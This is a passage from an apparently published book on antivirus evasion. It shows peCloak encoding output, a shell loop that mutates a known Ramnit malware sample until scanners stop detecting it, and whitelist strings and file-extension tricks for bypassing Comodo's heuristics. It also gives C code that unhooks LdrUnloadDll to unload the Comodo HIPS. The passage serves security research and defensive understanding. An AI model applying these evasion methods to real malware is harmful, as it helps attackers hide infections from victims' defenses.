       [+] Name: .text, Virtual Address: 0x16000, Virtual Size: 0x2d000, 
Characteristics: 0xe0000020
       [+] Name: .NewSec, Virtual Address: 0x43000, Virtual Size:
0x1000, Characteristics: 0xe00000e0
[*] Preserving the following entry instructions (at entry address
0x416000):
       [+] pusha 
       [+] call 0x416006
       [+] pop ebp
       [+] mov eax,ebp
[*] Generated Heuristic bypass of 3 iterations
[*] Generated Encoder with the following instructions:
       [+] ADD 0xcc
       [+] XOR 0x8
       [+] XOR 0x4b
       [+] SUB 0x13
       [+] SUB 0x88
       [+] XOR 0xc
[*] Encoding entire .text section
[*] PE .text section made writeable with attribute 0xE0000020
[*] Writing encoded data to file
[*] Overwriting first bytes at physical address 0002b000 
with jump to code cave
[*] Writing code cave to file
       [+] Heuristic Bypass
       [+] Decoder
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       [+] Saved Entry Instructions
       [+] Jump to Restore Execution Flow 
       [+] Final Code Cave (len=188):

          90909090909031f631ff905231d25a404833c060
          404149424a40483dff7893120000000075ec6061
          909033c04048424a405331db5b4149434b3d73dd
          160000000075e89c9d424a424a90909033c04048
          41493dea2247180000000075f09c9d9c9d909090
          0060410000000000424a9080300c9c9d40488000
          4048800013424a434b80304b4149803008606151
          c9598028cc403d00304400000000007ecd909060

[*] New file saved [test.exe]
$ /home/joxean/multiav/multiav-client.py \
  ip-address-of-multi-av:8080 test.exe -f
Results:

{u'AVG': {}, u'Avast': {}, u'ClamAV': {}, u'F-Prot': {}, u'ZAV': {}}

And no single antivirus detected our mutated sample. Now, it’s time to write 

an automated tool to do what we have done manually.

Writing the Final Tool

This section shows how to write a tool for automatic antivirus evasion that will 

make use of the MultiAV and peCloak. This tool will work as follows:

 1. Take a Windows PE fi le as input.

 2. Mutate the input fi le using peCloak with the aim of bypassing antivirus 

detection.

 3. Check whether the fi le is detected.

 4. Return a non-detected modifi ed version of the program.

This section shows you how to write a simple command-line tool that uses 

both peCloak.py and the MultiAV’s command-line client. It will be as easy as 

writing a simple shell script. MultiAV comes with a command-line client to 

send malware samples and analyze with the confi gured antivirus products; it’s 

called multiav-client.py. We used it before when manually testing peCloak.py.

Here’s a very simple version of the automatic evasion tool in the form of a simple 

shell script using the previously mentioned commands:

#!/bin/bash

MULTIAV_ADDR=ip-address-of-multi-av:8080
MULTIAV_PATH=/path/to/multiav
MULTIAV_TOOL=$MULTIAV_PATH/multiav-client.py
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CLOAK_PATH=/path/to/peCloak.py

if [ $# -lt 1 ]; then
  echo "Usage: $0 <pefile>"
  exit 0
fi

sample=$1

while [ 1 ]
do
  echo "[+] Mutating the input PE file..."
  $CLOAK_PATH -a -o test.exe $sample
  echo "[+] Testing antivirus detection..."
  if $MULTIAV_TOOL $MULTIAV_ADDR test.exe -f; then
    echo "[i] Sample `md5sum test.exe` undetected!"
    break
  else
    echo "[!] Sample still detected, continuing..."
  fi
done

This script launches peCloak.py against the given PE fi le, encodes it, sends it

to the MultiAV tool to determine if any antivirus is detecting it, and exits when a 

modifi ed version of the input PE fi le is not detected. To test this ultra-simplifi ed 

version of our automatic evasion tool, pass it a PE fi le:

$ /path/to/multiav-client.py ip-off-multi-av:8080 \
  ramnit_767d6b68dbff63f3978bec0114dd875c.exe -f
Results:

{u'AVG': {u'/tmp/tmpEZnlZW': u'Win32/Zbot.G'},
 u'Avast': {u'/tmp/tmpEZnlZW': u'Win32:RmnDrp'},
 u'ClamAV': {u'/tmp/tmpEZnlZW': u'W32.Ramnit-1'},
 u'F-Prot': {u'/tmp/tmpEZnlZW': u'W32/Ramnit.E'},
 u'ZAV': {u'/tmp/tmpEZnlZW': u'Win32.Ramnit.H'}}
$ bash evasion-test.sh ramnit_767d6b68dbff63f3978bec0114dd875c.exe
[+] Mutating the input PE file...
[+] Testing antivirus detection...
Results:

{u'AVG': {}, u'Avast': {}, u'ClamAV': {}, u'F-Prot': {}, u'ZAV': {}}
[i] Sample ca4ae6888ec92f0a2d644b8aa5c6b249  test.exe undetected!

As we can see, the simple shell script written using peCloak.py and the 

MultiAV is more than enough to create a new mutation of the known malware 

fi le that goes undetected by the selected antivirus products. Keep in mind that 

as we’re using our own multi-antivirus scanner, the samples will not be sent 

to antivirus companies. You can improve this tool in many ways; for example, 
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it will loop forever if no good mutation is found. You could also add support 

for all the relevant command-line options of peCloak.py. You could even inte-

grate it in the MultiAV. But it’s more than enough for the sake of learning how 

to create an automatic tool for AV evasion. The experiments we conducted in 

this chapter proved it’s really easy to go beyond the radar and bypass static 

antivirus solutions.

Summary

 This was a very dense chapter with lots of information on how to evade antivi-

rus scanners. The chapter concludes with a hands-on section showing how to 

automate all the required steps for researching and testing evasion techniques.

In summary, the following topics were covered:

■ Evading an antivirus scanner means evading signatures, the scanning 

engine, and the detection logic.

■ Scanners may impose fi le limits before they scan fi les. For example, if a fi le 

is bigger than a hard-coded value, the scanner may skip that fi le. Because 

of this fi le size limit, the attackers can trick the scanner into skipping a fi le 

by changing the fi le’s size to make it larger than the hard-coded size limit.

■ All AVs contain a disassembler, and the majority of them have an emula-

tor. Malware become a candidate for being emulated when they contained 

compressed or polymorphic code that is impossible to statically analyze.

The emulators implemented in the AV don’t necessarily know how to 

emulate, or emulate correctly, certain obscure instructions. Attackers may 

use malware samples with such instructions to disrupt and evade detection.

■ A PE fi le with an unexpected number of section headers, though accepted 

by the operating system, may be deemed corrupt by some AV scanners

and won’t be detected.

■ There are various anti-emulation tricks that can fool the emulators inside 

antiviruses: using OS APIs in a peculiar manner and checking how the 

results differ between the real and the emulated environments; loading 

unsupported or non-emulated system libraries and calling some of their

exported functions; spotting how the system libraries are different in 

size and content between an emulated environment and a real one; using 

old DOS device names (CON, AUX, ...), which fail under an emulator; 

and testing if privileged instructions can be invoked and if they behave

as expected: privileged instructions, under the real environment, cause 

exceptions if used from user-mode processes.

■ Employing anti-disassembling tricks such as an uncommon combination 

of instruction prefi xes and operands or undocumented instructions can 

also be used to evade detection.



Chapter 8 ■ Evading Scanners 163

■ Anti-debugging techniques such as preventing the scanner from attach-

ing to the malware process or reading its process memory are effective 

against memory scanners.

■ File format confusion or polyglot fi le formats can mislead the scanner. An 

executable fi le masquerading as a PDF fi le, for example, will cause the AV 

to scan it using the PDF fi le format scanner rather than the PE fi le scanner 

or the other way around, resulting in no detection at all.

■ VirusTotal is an online service that allows you to upload a fi le. It will scan 

the fi le with a multitude of antiviruses that it supports. One drawback of 

using VirusTotal is that all the uploaded fi les become public. This is not

productive if you are researching AV evasion techniques. This is where

MultiAV comes into play.

■ MultiAV is an open-source tool that is similar to VirusTotal. It can scan a 

fi le or directory with multiple AV engines simultaneously.

■ An antivirus evasion framework such as the Veil Framework or the stand-

alone PE evasion script called peCloak can help you mutate the malicious 

fi les so they are no longer detected.

■ Using MultiAV as a private personal replacement for VirusTotal along 

with an evasion tool, you can automate the process of mutating a sample 

and then scanning it with various antiviruses simultaneously. The process 

of mutating and scanning, once automated and repeated enough times, 

can result in the creation of an undetectable malicious sample.

In Chapter 9, we will discuss how to bypass dynamic detections that trigger 

during the execution of malicious code. 
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A common component in antivirus software that detects malicious  software 

without relying on specialized signatures is the heuristic engine. Heuristic 

engines make decisions based on general evidence instead of specifi cs like 

generic detections or typical signature-based scheme counterparts.

Heuristic engines, as implemented in AV products, rely on detection routines 

that assess evidence and behavior. They do not rely on specifi c signatures to try 

to catch a certain family of malware or malware that shares similar properties. 

This chapter covers the various types of heuristic engines, which, as you will 

observe, may be implemented in userland, kernel-land, or both. It’s important 

to learn how to evade heuristic engines because today antivirus products try to 

rely more on the behavior of the inspected applications than on the old way of 

detecting malwares using signatures. Learning about various heuristic engines 

will facilitate the process of bypassing and evading them. Similarly, the AV 

engineers can get some insights into how attackers are evading detection  and 

therefore can improve the detection engine accordingly.

Heuristic Engine Types

There are three different types of heuristic engines: static, dynamic, and hybrid, 

which use both strategies. Most often, static heuristic engines are considered 

true heuristic engines, while dynamic heuristic engines are called Host Intrusion 

C H A P T E R 

9

Evading Heuristic Enginesc Engines
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Prevention Systems (HIPS). Static heuristic engines try to discover malicious 

software by fi nding evidence statically by disassembling or analyzing the headers 

of the fi le under scrutiny. Dynamic heuristic engines try to do the same—based 

on the behavior of the fi le or program—by hooking API calls or executing the 

program under an emulation framework. The following sections cover these 

different system types and explain how they can be bypassed.

Static Heuristic Engines

Static heuristic engines are implemented in many different ways depending 

on the deployment target. For example, it is common to use heuristic engines 

that are based on machine learning algorithms, such as Bayesian networks or 

genetic algorithms, because they reveal information about similarities between 

families by focusing on the biggest malware groups created by their clustering 

toolkits (the heuristic engines). Those heuristic engines are better deployed in 

malware research labs than in a desktop product, because they can cause a large 

number of false positives and consume a lot of resources, which is acceptable

in a lab environment. For desktop-based antivirus solutions, expert systems 

are a much better choice. 

An expert system is a heuristic engine that implements a set of algorithms that 

emulate the decision-making strategy of a human analyst. A human malware 

analyst can determine that a Windows portable executable (PE) program appears 

malicious, without actually observing its behavior, by briefl y analyzing the fi le 

structure and taking a quick look at the disassembly of the fi le. The analyst would 

be asking the following questions: Is the fi le structure uncommon? Is it using 

tricks to fool a human, such as changing the icon of the PE fi le to the icon that 

Windows uses for image fi les? Is the code obfuscated? Is the program compressed

or does it seem to be protected somehow? Is it using any anti-debugging tricks? 

If the answer to such questions is “yes,” then a human analyst would suspect 

that the fi le is malicious or at least that it is trying to hide its logic and needs to 

be analyzed in more depth. Such human-like behavior, when implemented in 

a heuristic engine, is called an expert system.

Bypassing a Simplistic Static Heuristic Engine

This section uses the rather simplistic heuristic engine of the Comodo antivirus 

for Linux as an example. It is implemented in the library libHEUR.so (surprise!). 

Fortunately, this library comes with full debugging symbol information, so you 

can discover where the true heuristic engine’s code is in this library by simply 

looking at the function names. Figure 9-1 shows a list of heuristic functions in IDA.
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Figure 9-1:  The heuristic functions in IDA

This list shows that the C++ class CAEHeurScanner seems to be responsible

for performing the heuristic scan. From the following IDA disassembly listing 

with the VTable of this object, it is clear that the method ScanSingleTarget is

the one you are interested in if you want to bypass the heuristic engine:

.data.rel.ro:000000000021A590 ; `vtable for'CAEHeurScanner

.data.rel.ro:000000000021A590 _ZTV14CAEHeurScanner dq 0               
; DATA XREF:

.got:_ZTV14CAEHeurScanner_ptr

.data.rel.ro:000000000021A598          dq offset _ZTI14CAEHeurScanner ; 
`typeinfo for'CAEHeurScanner
.data.rel.ro:000000000021A5A0          dq offset
_ZN14CAEHeurScanner14QueryInterfaceER5_GUIDPPv ;
CAEHeurScanner::QueryInterface(_GUID &,void **)
.data.rel.ro:000000000021A5A8          dq offset
_ZN14CAEHeurScanner6AddRefEv ; CAEHeurScanner::AddRef(void)
.data.rel.ro:000000000021A5B0          dq offset
 _ZN14CAEHeurScanner7ReleaseEv ; CAEHeurScanner::Release(void)
.data.rel.ro:000000000021A5B8          dq offset _ZN14CAEHeurScannerD1Ev
; 
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CAEHeurScanner::~CAEHeurScanner()

.data.rel.ro:000000000021A5C0          dq offset _ZN14CAEHeurScannerD0Ev
; CAEHeurScanner::~CAEHeurScanner()
.data.rel.ro:000000000021A5C8                 dq offset 
_ZN14CAEHeurScanner4InitEP8IUnknownPv ; CAEHeurScanner::Init(IUnknown *,
void *)
.data.rel.ro:000000000021A5D0                 dq offset 
_ZN14CAEHeurScanner6UnInitEPv ; CAEHeurScanner::UnInit(void *)
.data.rel.ro:000000000021A5D8                 dq offset 
_ZN14CAEHeurScanner12GetScannerIDEP10_SCANNERID ;
CAEHeurScanner::GetScannerID(_SCANNERID *)
.data.rel.ro:000000000021A5E0                 dq offset 
_ZN14CAEHeurScanner10SetSignMgrEP8IUnknown 
; CAEHeurScanner::SetSignMgr(IUnknown
*)
.data.rel.ro:000000000021A5E8                 dq offset 

_ZN14CAEHeurScanner16ScanSingleTargetEP7ITargetP11_SCANOPTIONP11_
SCANRESULT ;
CAEHeurScanner::ScanSingleTarget(ITarget *,_SCANOPTION *,_SCANRESULT *)
.data.rel.ro:000000000021A5F0                 dq offset 
_ZN14CAEHeurScanner4CureEPvj ; CAEHeurScanner::Cure(void *,uint)

To start analyzing the function, you can navigate to this method in IDA. After 

a number of rather uninteresting calls to members of objects with unknown 

types, there is a call to the member ScanMultiPacked:

.text:000000000000E4F9          mov     esi, 
[pstScanOptions+SCANOPTION.eSHeurLevel] ; nLevel
.text:000000000000E4FD          mov     rcx, pstResult  ; pstResult
.text:000000000000E500          mov     rdx, piSrcTarget ; piTarget
.text:000000000000E503          mov     rdi, this       ; this
.text:000000000000E506          call   
__ZN14CAEHeurScanner15ScanMultiPackedEiP7ITargetP11_SCANRESULT ;
CAEHeurScanner::ScanMultiPacked(int,ITarget *,_SCANRESULT *)

The fi rst heuristic routine tries to determine whether the fi le is packed multiple 

times. There are a number of instructions after this call, including an interesting 

call to ScanUnknownPacker:

.text:000000000000E516          mov     rcx, pstResult  ; pstResult

.text:000000000000E519          mov     rdx, pstScanOptions ;
pstScanOptions
.text:000000000000E51C          mov     rsi, piSrcTarget ; piSrcTarget
.text:000000000000E51F          mov     rdi, this       ; this
.text:000000000000E522          call   
__ZN14CAEHeurScanner16ScanUnknowPackerEP7ITargetP11_SCANOPTIONP11_
SCANRESULT
;
CAEHeurScanner::ScanUnknowPacker(ITarget *,_SCANOPTION *,_SCANRESULT *)
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It is obvious that Comodo is trying to gather more evidence, and this time 

it is trying to see whether the fi le is packed with some unknown packer. Of 

course, you need to know whether it is packed, and if so, how. If you continue 

exploring this heuristic engine, you will come across a number of instructions 

after this call, including this interesting call to ScanDualExtension:

.text:000000000000E530          mov     rcx, pstResult  ; pstScanResult

.text:000000000000E533          mov     rdx, pstScanOptions ; 
pstScanOption
.text:000000000000E536          mov     rsi, piSrcTarget ; piTarget
.text:000000000000E539          mov     rdi, this       ; this
.text:000000000000E53C          call   
__ZN14CAEHeurScanner17ScanDualExtensionEP7ITargetP11_SCANOPTIONP11_
SCANRESULT
; 
CAEHeurScanner::ScanDualExtension(ITarget *,_SCANOPTION *,_SCANRESULT *)

A dual extension is considered by the heuristic engine to be evidence that 

the fi le is bad without any regard for the way it is implemented. Now you can 

continue with the remaining calls:

.text:000000000000E557          mov     rcx, pstResult  ; pstScanResult

.text:000000000000E55A          mov     rdx, pstScanOptions 
; pstScanOption
.text:000000000000E55D          mov     rsi, piSrcTarget 
; piTarget
.text:000000000000E560          mov     rdi, this       ; this
.text:000000000000E563          call   
__ZN14CAEHeurScanner13ScanCorruptPEEP7ITargetP11_SCANOPTIONP11_
SCANRESULT
; 
CAEHeurScanner::ScanCorruptPE(ITarget *,_SCANOPTION *,_SCANRESULT *)
(…)
.text:000000000000E584          mov     rsi, piSrcTarget ; piTarget
.text:000000000000E587          mov     rdi, this       ; this
.text:000000000000E58A          call   
__ZN14CAEHeurScanner5IsFPsEP7ITarget ; CAEHeurScanner::IsFPs(ITarget *)
(…)

First, it checks whether the PE fi le appears to be corrupt by calling the 

ScanCorruptPE function. Then it issues a call to the function IsFPs, which tries 

to determine whether the “bad” fi le is actually a false positive. The function 

likely checks some sort of list of known false positives. The engine is checking 

a hard-coded list in the binary instead of having the list in an easy-to-update 

component, like the antivirus signature fi les. The IsFPs function is shown here:

.text:000000000000EABC ; PRBool __cdecl CAEHeurScanner::IsFPs(
CAEHeurScanner 
*const this, ITarget *piTarget)



170 Part  II0 ■ Antivirus Software Evasion

.text:000000000000EABC          public
_ZN14CAEHeurScanner5IsFPsEP7ITarget
.text:000000000000EABC _ZN14CAEHeurScanner5IsFPsEP7ITarget proc near
.text:000000000000EABC                                  
; DATA XREF:
.got.plt:off_21B160 o
.text:000000000000EABC Exit0:
.text:000000000000EABC this = rdi                       ; CAEHeurScanner 
*const
.text:000000000000EABC piTarget = rsi                   ; ITarget *

.text:000000000000EABC          sub     rsp, 8

.text:000000000000EAC0          call   
__ZN14CAEHeurScanner18IsWhiteVersionInfoEP7ITarget ;
CAEHeurScanner::IsWhiteVersionInfo(ITarget *)
.text:000000000000EAC5          test    eax, eax
.text:000000000000EAC7 bRetCode = rax                          ; PRBool
.text:000000000000EAC7          setnz   al
.text:000000000000EACA          movzx   eax, al
.text:000000000000EACD          pop     rdx
.text:000000000000EACE          retn
.text:000000000000EACE _ZN14CAEHeurScanner5IsFPsEP7ITarget endp

IsFPs simply calls another member, IsWhiteVersionInfo. If you analyze this 

function’s pseudo-code, you uncover a rather interesting algorithm:

(…)
    if ( CAEHeurScanner::GetFileVer(v2, piTarget, wszVerInfo, 0x104uLL, 
v2->m_hVersionDll) )
    {
      for ( i = 0; i < g_nWhiteVerInfoCount; ++i )
      {
        if ( !(unsigned int)PR_wcsicmp2(wszVerInfo,

g_WhiteVerInfo[(signed __int64)i].szVerInfo) )
          return 1;
      }
    }
(…)

N O T E  In Windows, version information is stored in the resources directory and has

a well-defi ned structure format. The version information usually includes fi le version

and product version numbers, language, fi le description, and product name, among 

other version attributes.

As expected, it is checking the version information extracted from the PE 

header against a hard-coded list of version information from programs that are 

known to cause confl icts but are not malicious. The address g_WhiteVerInfo
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points to a list of fi xed-size UTF-32 strings. If you take a look with a hexadecimal 

editor, you will see something like the following:

000000000021BAEE  00 00 41 00 00 00 6E 00  00 00 64 00 00 00 72 00 
..A...n...d...r.
000000000021BAFE  00 00 65 00 00 00 61 00  00 00 73 00 00 00 20 00 
..e...a...s... .
000000000021BB0E  00 00 48 00 00 00 61 00  00 00 75 00 00 00 73 00 
..H...a...u...s.
000000000021BB1E  00 00 6C 00 00 00 61 00  00 00 64 00 00 00 65 00 
..l...a...d...e.
000000000021BB2E  00 00 6E 00 00 00 00 00  00 00 00 00 00 00 00 00 
..n.............
(…)
000000000021BBEE  00 00 41 00 00 00 72 00  00 00 74 00 00 00 69 00 
..A...r...t...i.
000000000021BBFE  00 00 6E 00 00 00 73 00  00 00 6F 00 00 00 66 00 
..n...s...o...f.
000000000021BC0E  00 00 74 00 00 00 20 00  00 00 53 00 00 00 2E 00 
..t... ...S.....
000000000021BC1E  00 00 41 00 00 00 2E 00  00 00 00 00 00 00 00 00 
..A.............
(…)
000000000021BCEE  00 00 42 00 00 00 6F 00  00 00 62 00 00 00 53 00 
..B...o...b...S.
000000000021BCFE  00 00 6F 00 00 00 66 00  00 00 74 00 00 00 00 00 
..o...f...t.....
(…)

To evade this rather simplistic heuristic engine, you can use one of the UTF32-

encoded strings that are white-listed, such as “Andreas Hausladen,” “ArtinSoft 

S.A.,” or “BobSoft,” in the malware’s version information.

Now you can take a look at some of the previous heuristic routines such as 

ScanDualExtension:

 (…)
  if ( v22
    && (unsigned int)CAEHeurScanner::IsInExtensionsList(v6, v22,

g_LastExtList,
6u)
    && (unsigned int)CAEHeurScanner::IsInExtensionsList(v6, v18,

g_SecLastExtList,
 0x2Fu) )
  {

CSecKit::DbgStrCpyA(
    &v6->m_cSecKit,
    "/home/ubuntu/cavse_unix/scanners/heur/src/CAEHeurDualExtension
.cpp",
    111,
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Scan_result->szMalwareName,
   0x40uLL,

"Heur.Dual.Extensions");
Scan_result->bFound = 1;

   result = 0LL;
 }
 else
 {
LABEL_23:
   result = 0x80004005LL;
 }
(…)

In the pseudo-code, it is clear that it is checking whether the extensions are 

in the two lists: g_LastExtList and g_SecLastExtList. If they are, the Scan_

result object instance is updated so that its szMalwareName member contains

the detection name (Heur.Dual.Extensions) and the bFound member is set to 

the value 1 (true).

Now you can check both extensions lists:

.data:000000000021B8D0 ; EXTENSION_0 g_LastExtList[6]

.data:000000000021B8D0 g_LastExtList   db '.EXE',0,0,0,0,0,0,'.VBS',0,0,
0,0,0,0,'.JS',0,0,0,0,0,0,0,'.CMD',0,0,0,0,0,0,'.BAT',0,0,0,0,0,0,'.'
.data:000000000021B8D0                                        
; DATA XREF: .got:wcsExtList o
.data:000000000021B8D0                 db 'SCR',0,0,0,0,0,0
.data:000000000021B90C                 align 10h
.data:000000000021B910                 public g_SecLastExtList
.data:000000000021B910 ; EXTENSION_0 g_SecLastExtList[47]
.data:000000000021B910 g_SecLastExtList db '.ASF',0,0,0,0,0,0,'.AVI',0,0
,0,0,0,0,'.BMP',0,0,0,0,0,0,'.CAB',0,0,0,0,0,0,'.CHM',0,0,0,0,0,0,'.'
.data:000000000021B910                                        
; DATA XREF: .got:g_SecLastExtList_ptr o
.data:000000000021B910                 db 'CUR',0,0,0,0,0,0,'.DOC',0,0,0
,0,0,0,'.MSG',0,0,0,0,0,0,'.EML',0,0,0,0,0,0,'.FLA',0,0,0,0,0,0,'.'
.data:000000000021B910                 db 'FON',0,0,0,0,0,0,'.GIF',0,0,0
,0,0,0,'.HLP',0,0,0,0,0,0,'.HTM',0,0,0,0,0,0,'.HTT',0,0,0,0,0,0,'.'
.data:000000000021B910                 db 'ICO',0,0,0,0,0,0,'.INF',0,0,0
,0,0,0,'.INI',0,0,0,0,0,0,'.LOG',0,0,0,0,0,0,'.MID',0,0,0,0,0,0,'.'
.data:000000000021B910                 db 'DOC',0,0,0,0,0,0,'.JPE',0,0,0
,0,0,0,'.JFIF',0,0,0,0,0,'.MOV',0,0,0,0,0,0,'.MP3',0,0,0,0,0,0,'.'
.data:000000000021B910                 db 'MP4',0,0,0,0,0,0,'.PDF',0,0,0
,0,0,0,'.PPT',0,0,0,0,0,0,'.PNG',0,0,0,0,0,0,'.RAR',0,0,0,0,0,0,'.'
.data:000000000021B910                 db 'REG',0,0,0,0,0,0,'.RM',0,0,0,
0,0,0,0,'.RMF',0,0,0,0,0,0,'.RMVB',0,0,0,0,0,'.JPEG',0,0,0,0,0,'.'
.data:000000000021B910                 db 'TIF',0,0,0,0,0,0,'.IMG',0,0,0
,0,0,0,'.WMV',0,0,0,0,0,0,'.7Z',0,0,0,0,0,0,0,'.SWF',0,0,0,0,0,0,'.'
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.data:000000000021B910                 db 'JPG',0,0,0,0,0,0,'.TXT',0,0,0
,0,0,0,'.WAV',0,0,0,0,0,0,'.XLS',0,0,0,0,0,0,'.XLT',0,0,0,0,0,0,'.'
.data:000000000021B910                 db 'XLV',0,0,0,0,0,0,'.ZIP',0,0,0
,0,0,0

As you can see, an extensions list is a set of fi xed-size ASCII strings with 

various typical fi le extensions. The fi rst list contains a number of typical execut-

able fi le extensions (.EXE, .CMD, .VBS, and so on), and the second list contains

a number of popular document, video, sound, or image fi le extensions (such as 

.AVI or .BMP). The two extension lists are used to see whether the fi lename is in

the form some_name.<SecLastExt>.<LastExtList>, for example, Invoice.pdf

.exe. Dual extensions of that sort—a form of attack based on social engineering

principles—are common in malware that tries to fool the user into believing that 

an executable fi le is actually a video, picture, document, ZIP fi le, or other type. To 

evade this heuristic detection, you can use a single fi le extension, an executable 

extension not in the fi rst list (such as .CPL, .HTA, orA .PIF), or a second extension not

in the previous list of non-executable fi le types (such as .JPG or .DOCX). That’s all.

As shown in this section, with minimal research, you can fool and bypass 

expert systems-based heuristic engines.

Dynamic Heuristic Engines

Dynamic heuristic engines are implemented in the form of hooks (in userland 

or kernel-land) or based on emulation. The former approach is more reliable, 

because it involves actually looking at the true runtime behavior, while the 

latter is more error prone, because it largely depends on the quality of the cor-

responding CPU emulator engine and the quality of the emulated operating 

system APIs. Bypassing heuristic engines based on emulators and virtual execu-

tion environments is by far the easiest option available, as already discussed in 

Chapter 8. However, bypassing heuristic engines based on hooks, like the typical 

Host Intrusion Prevention Systems (HIPS), is not too complex and depends on 

which layer the API hooks are installed in. There are two options for install-

ing hooks in order to monitor the behavior of a program: userland hooks and 

kernel-land hooks. Both have their advantages and disadvantages, as discussed 

in the following sections.

Userland Hooks

Many antivirus products use userland hooks to monitor the execution of running

processes. Hooking consists of detouring a number of common APIs, such as

CreateFile or CreateProcess in Windows. So, instead of executing the actual code,

a monitoring code installed by the antivirus is executed fi rst. Then, depending on 
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a set of rules (either hard-coded or dynamic), the monitoring code blocks, allows, 

or reports the execution of the API. Such userland API hooks are typically installed 

using third-party userland hooking libraries. The following list includes the most 

common hooking libraries:

■ madCodeHook—This is a userland-based hooking engine written in Delphikk

with support for many different runtime environments. This engine is used 

in Comodo, old versions of McAfee, and Panda antivirus solutions.

■ EasyHook—This is an open-source hooking engine that is known for its

good performance and completeness. Some antivirus engines are using it.

■ Detours—This is a proprietary hooking engine from Microsoft Research. 

Its source code is available, but you must purchase a license to use it in 

commercial products. Some antivirus engines are using this hooking 

engine for implementing their Ring-3-based monitoring systems.

In any case, it is irrelevant which hooking engine is used by the antivirus 

you are targeting, because all userland-based hooking engines work in a very 

similar way:

 1. They start by injecting a library into the userland processes that are subject 

to monitoring. Typically, the hooking library is injected into all processes, 

so it does system-wide monitoring of userland processes.

 2. The engines resolve the API functions that the antivirus wants to monitor.

 3. They replace the fi rst assembly instructions of the function with a jump 

to the antivirus code for handling the corresponding API.

 4. After the antivirus code hook for the API is executed and fi nishes its 

behavior-monitoring task, the hook usually passes the API call back to 

the original “unhooked” code path.

The antivirus hooking library or libraries can be injected using various tech-

niques. One of the most common techniques in the past (now deprecated and 

no longer recommended by Microsoft) was to use the registry key AppInit_Dll.

This registry key contains one or more paths to DLLs that will be injected for 

all userland Windows processes that import user32.dll, with a few exceptions

(such as Csrss.exe). For years, this was the most typical option. It is used by

Kaspersky, Panda, and a lot of other antivirus products (as well as by malware). 

Another popular code injection technique, although not truly reliable, works 

like this: execute an antivirus program component at Windows desktop startup, 

inject code into an explorer.exe process via CreateRemoteThread, and hook

the CreateProcessInternal function. The CreateProcessInternal function

is called whenever a new process is about to be created. Because this API was 

hooked, it is programmed to inject the hooking DLL into the memory space 

of this new program. This technique cannot guarantee that all new processes 

will be monitored because of the limitation of the CreateRemoteThread API; 

nonetheless, this approach is still used by various antivirus products.
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The last typical approach for injecting a DLL is to do so from kernel-land. An 

antivirus driver registers a PsSetCreateProcessNotifyRoutineEx callback, and 

for any new process, it injects, from kernel-land, a DLL with all the userland code.

Because all hooking engines work almost the same regardless of the injec-

tion technique used, you can develop universal techniques to bypass any and 

all userland-based hooking engines. This bypass technique relies on the fact 

that a hooking engine needs to overwrite the original function prologue with 

a jump to the antivirus replacement function, and so you can simply reverse 

these changes and undo the hooks. 

To explain this concept clearly, it is important to note that the prologue of most 

frame-based functions has the same byte code sequence or machine instruc-

tions, typically the following:

8BFF      mov    edi,edi
55        push   ebp
8BEC      mov    ebp,esp

One quick way to undo the hook is to hard-code the byte sequence of the 

function prologue in your evasion code and then overwrite the function’s start 

with this prologue. This approach may fail if the hooked functions have a dif-

ferent prologue. Here is a better way to undo the API hook:

 1. Read the original libraries from disk (that is, the code of kernel32.dll or

ntdll.dll).

 2. Resolve the hooked functions’ addresses in the library. This can be done, 

for example, using the Microsoft library dbgeng.dll or by manually

walking the export table of the DLL to fi gure out the addresses.

 3. Read the initial bytes of these functions.

 4. Write the original bytes back into memory. The antivirus may notice the 

patch. An alternative would be to execute the fi rst instructions read from 

the fi le and then jump back to the original code.

The next section demonstrates an even easier method for bypassing such 

heuristic engines. 

N O T E  Bypassing userland hooks used by heuristic engines can be even easier than 

the generic solution just discussed. Userland hooks can be implemented at various 

levels. For example, you can hook the CreateFileA and A CreateFileW functions 

from kernel32.dll, or you can hook NtOpenFile from ntdll.dll. The lowest 

userland level is ntdll.dll; however, in many cases, antivirus products hook only 

the highest-level functions exported by advapi32.dll or kernel32.dll. In such

cases, you do not need to patch the memory of the loaded libraries to remove the

hooks; you simply need to use the ntdll.dll exported API (also called a native API), 

and the antivirus hooking engine will be oblivious to your actions.
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Bypassing a Userland HIPS

Comodo Internet Security version 8 and earlier had one HIPS and a sandbox. 

The HIPS was, naturally, a heuristic engine. The sandbox was a kernel-land com-

ponent but the HIPS was not. The HIPS was completely developed as userland 

components. It was implemented in the library guard32.dll or guard64.dll

(depending on the architecture and the program executed), which was injected 

in all userland processes. Note that if those DLLs were not ASLR (Address Space 

Layout Randomization) aware, then they would render the operating system’s 

ASLR ineffective on a system-wide level for all userland components of the 

machine being “protected.” Once again, I discuss the implications of injecting 

non-ASLR DLLs in processes. At one point, Comodo was making the mistake

of injecting a non-ASLR version of its hooks, as shown in Figure 9-2.

Figure 9- 2:  The Comodo HIPS engine without ASLR injected into Firefox

The Comodo guard32 and guard64 libraries hook userland functions such as the 

exported functions kernel32!CreateProcess[A|W], kernel32!CreateFile[A|W], 

and ntdll!drUnloadDll. One quick and easy way to avoid being detected is 

to disable this HIPS heuristic engine by unloading the hook library (guard32

.dll for 32-bit processes and guard64.dll for 64-bit processes) immediately

after your evasion code runs.

On my fi rst try, I simply created a utility with the following code:

int unhook(void)
{
  return FreeLibrary(GetModuleHandleA("guard32.dll"));
}
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However, it did not work. The function unhook always returned the error 5, 

“Access denied.” After attaching a debugger to my userland process, I discovered 

that the function FreeLibrary was hooked by the guard module—not at kernel32y

level (FreeLibrary is exported by this library) but rather at ntdll.dll level,

by hooking the function LdrUnloadDll. What can you do to unload the HIPS 

engine from the process? You can simply remove the hook from LdrUnloadDll

and then call the previous code, as shown in the following code:

        HMODULE hlib = GetModuleHandleA("guard32.dll");

        if ( hlib != INVALID_HANDLE_VALUE )

        {

          void *addr = GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                      "LdrUnloadDll");

          if ( addr != NULL )

          {

            DWORD old_prot;

            if ( VirtualProtect(addr, 16, PAGE_EXECUTE_READWRITE,
                                &old_prot) != 0 )

            {

              // Bytes hard-coded from the original Windows 7 x32
              // ntdll.dll library

              char *patch =   "\x6A\x14\x68\xD8\xBC\xE9\x7D\xE8\x51\xCC"
                            "\xFE\xFF\x83\x65\xE0\x00";

              memcpy(addr, patch, sizeof(patch));

              VirtualProtect(addr, 16, old_prot, &old_prot);

            }

          }

          if ( FreeLibrary(hlib) )

            MessageBoxA(0, "Magic done", "MAGIC", 0);

        }
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To follow this easy example, you just patch back the entry point of the ntdll

.dll exported function LdrUnloadDll and then call FreeLibrary with the 

handle of the guard32.dll library. It is as simple as it sounds. Actually, this

